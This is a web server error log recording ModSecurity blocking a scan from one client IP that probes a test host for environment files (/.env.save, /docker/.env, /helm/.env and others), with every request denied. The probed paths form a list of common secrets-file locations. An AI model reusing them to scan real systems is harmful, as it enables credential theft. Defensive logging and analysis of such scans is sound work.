[Wed Feb 25 06:04:31.606439 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aZ6C3-TWwZsZM3_RktVCzQAAAAU&quot;]
[Wed Feb 25 06:04:31.606734 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aZ6C3-TWwZsZM3_RktVCzQAAAAU&quot;]
[Wed Feb 25 06:04:31.606936 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aZ6C3-TWwZsZM3_RktVCzQAAAAU&quot;]
[Wed Feb 25 06:04:31.708629 2026] [:error] [pid 2312956] [client 185.177.72.13:28312] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /dashboard/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dashboard/.env&quot;] [unique_id &quot;aZ6C3_jNQqDNAmB2zjqZhQAAAAY&quot;]
[Wed Feb 25 06:04:31.709117 2026] [:error] [pid 2312956] [client 185.177.72.13:28312] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dashboard/.env&quot;] [unique_id &quot;aZ6C3_jNQqDNAmB2zjqZhQAAAAY&quot;]
[Wed Feb 25 06:04:31.710504 2026] [:error] [pid 2312956] [client 185.177.72.13:28312] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dashboard/.env&quot;] [unique_id &quot;aZ6C3_jNQqDNAmB2zjqZhQAAAAY&quot;]
[Wed Feb 25 06:04:31.796943 2026] [:error] [pid 2312956] [client 185.177.72.13:28312] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /crm/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/crm/.env&quot;] [unique_id &quot;aZ6C3_jNQqDNAmB2zjqZhgAAAAY&quot;]
[Wed Feb 25 06:04:31.797215 2026] [:error] [pid 2312956] [client 185.177.72.13:28312] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/crm/.env&quot;] [unique_id &quot;aZ6C3_jNQqDNAmB2zjqZhgAAAAY&quot;]
[Wed Feb 25 06:04:31.797394 2026] [:error] [pid 2312956] [client 185.177.72.13:28312] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/crm/.env&quot;] [unique_id &quot;aZ6C3_jNQqDNAmB2zjqZhgAAAAY&quot;]
[Wed Feb 25 06:04:31.861873 2026] [:error] [pid 2312956] [client 185.177.72.13:28312] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /mail/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mail/.env&quot;] [unique_id &quot;aZ6C3_jNQqDNAmB2zjqZhwAAAAY&quot;]
[Wed Feb 25 06:04:31.862194 2026] [:error] [pid 2312956] [client 185.177.72.13:28312] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mail/.env&quot;] [unique_id &quot;aZ6C3_jNQqDNAmB2zjqZhwAAAAY&quot;]
[Wed Feb 25 06:04:31.862416 2026] [:error] [pid 2312956] [client 185.177.72.13:28312] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mail/.env&quot;] [unique_id &quot;aZ6C3_jNQqDNAmB2zjqZhwAAAAY&quot;]
[Wed Feb 25 06:04:31.872334 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.test.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test.local&quot;] [unique_id &quot;aZ6C3-TWwZsZM3_RktVC0AAAAAU&quot;]
[Wed Feb 25 06:04:31.872631 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test.local&quot;] [unique_id &quot;aZ6C3-TWwZsZM3_RktVC0AAAAAU&quot;]
[Wed Feb 25 06:04:31.872828 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test.local&quot;] [unique_id &quot;aZ6C3-TWwZsZM3_RktVC0AAAAAU&quot;]
[Wed Feb 25 06:04:31.896688 2026] [:error] [pid 2312956] [client 185.177.72.13:28312] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /mailer/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mailer/.env&quot;] [unique_id &quot;aZ6C3_jNQqDNAmB2zjqZiAAAAAY&quot;]
[Wed Feb 25 06:04:31.897027 2026] [:error] [pid 2312956] [client 185.177.72.13:28312] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mailer/.env&quot;] [unique_id &quot;aZ6C3_jNQqDNAmB2zjqZiAAAAAY&quot;]
[Wed Feb 25 06:04:31.897220 2026] [:error] [pid 2312956] [client 185.177.72.13:28312] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mailer/.env&quot;] [unique_id &quot;aZ6C3_jNQqDNAmB2zjqZiAAAAAY&quot;]
[Wed Feb 25 06:04:31.946899 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.envrc&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.envrc&quot;] [unique_id &quot;aZ6C3-TWwZsZM3_RktVC0gAAAAU&quot;]
[Wed Feb 25 06:04:31.947203 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.envrc&quot;] [unique_id &quot;aZ6C3-TWwZsZM3_RktVC0gAAAAU&quot;]
[Wed Feb 25 06:04:31.947390 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.envrc&quot;] [unique_id &quot;aZ6C3-TWwZsZM3_RktVC0gAAAAU&quot;]
[Wed Feb 25 06:04:31.960009 2026] [:error] [pid 2312956] [client 185.177.72.13:28312] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /deployment/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/deployment/.env&quot;] [unique_id &quot;aZ6C3_jNQqDNAmB2zjqZiQAAAAY&quot;]
[Wed Feb 25 06:04:31.960417 2026] [:error] [pid 2312956] [client 185.177.72.13:28312] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/deployment/.env&quot;] [unique_id &quot;aZ6C3_jNQqDNAmB2zjqZiQAAAAY&quot;]
[Wed Feb 25 06:04:31.960662 2026] [:error] [pid 2312956] [client 185.177.72.13:28312] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/deployment/.env&quot;] [unique_id &quot;aZ6C3_jNQqDNAmB2zjqZiQAAAAY&quot;]
[Wed Feb 25 06:04:31.989847 2026] [:error] [pid 2312956] [client 185.177.72.13:28312] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/.env&quot;] [unique_id &quot;aZ6C3_jNQqDNAmB2zjqZigAAAAY&quot;]
[Wed Feb 25 06:04:31.990152 2026] [:error] [pid 2312956] [client 185.177.72.13:28312] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/.env&quot;] [unique_id &quot;aZ6C3_jNQqDNAmB2zjqZigAAAAY&quot;]
[Wed Feb 25 06:04:31.990376 2026] [:error] [pid 2312956] [client 185.177.72.13:28312] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/.env&quot;] [unique_id &quot;aZ6C3_jNQqDNAmB2zjqZigAAAAY&quot;]
[Wed Feb 25 06:04:32.043317 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.dist&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dist&quot;] [unique_id &quot;aZ6C4OTWwZsZM3_RktVC0wAAAAU&quot;]
[Wed Feb 25 06:04:32.043610 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dist&quot;] [unique_id &quot;aZ6C4OTWwZsZM3_RktVC0wAAAAU&quot;]
[Wed Feb 25 06:04:32.043844 2026] [:error] [pid 2312955] [client 185.177.72.13:28302] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dist&quot;] [unique_id &quot;aZ6C4OTWwZsZM3_RktVC0wAAAAU&quot;]
[Wed Feb 25 06:04:32.044922 2026] [:error] [pid 2312956] [client 185.177.72.13:28312] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /helm/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/helm/.env&quot;] [unique_id &quot;aZ6C4PjNQqDNAmB2zjqZiwAAAAY&quot;]
[Wed Feb 25 06:04:32.045257 2026] [:error] [pid 2312956] [client 185.177.72.13:28312] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/helm/.env&quot;] [unique_id &quot;aZ6C4PjNQqDNAmB2zjqZiwAAAAY&quot;]
[Wed Feb 25 06:04:32.045435 2026] [:error] [pid 2312956] [client 185.177.72.13:28312] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/helm/.env&quot;] [unique_id &quot;aZ6C4PjNQqDNAmB2zjqZiwAAAAY&quot;]
